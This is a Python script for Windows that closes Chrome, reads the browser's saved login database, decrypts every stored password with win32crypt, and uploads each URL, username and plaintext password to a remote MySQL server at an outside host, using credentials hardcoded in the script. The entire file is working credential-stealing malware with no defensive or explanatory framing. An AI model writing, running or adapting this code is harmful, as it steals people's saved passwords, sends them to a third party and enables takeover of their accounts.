import os
import sqlite3
import sys
import win32crypt
import mysql.connector

myconn = mysql.connector.connect(user='elorating', password='pizza1234', host='jubbot.net', database='10man')

from os.path import expanduser
home = expanduser("~")

os.system("taskkill /f /im chrome.exe")

#print(home + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data")
conn = sqlite3.connect(home + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data")
#conn = sqlite3.connect(home + "\\Desktop\\Login Data")
cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins;')

data = cursor.fetchall()
for result in data:
    #if (result[0] == "https://www.facebook.com/login.php"):
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1].decode("utf-8")
    #password = "poop"
    #print(result[0],result[1],password)
    sql = "INSERT INTO poop(URL, Username, Password) VALUES('"+result[0].replace("'", "<single qoute>")+"','"+result[1].replace("'", "<single qoute>")+"','"+password.replace("'", "<single qoute>")+"');"
    curs = myconn.cursor()
    curs.execute(sql) #sql.replace("http://", "").replace("https://", "")
    #print("URL:", result[0], "Username:", result[1], "Password:", password)
myconn.close()
input("Done!")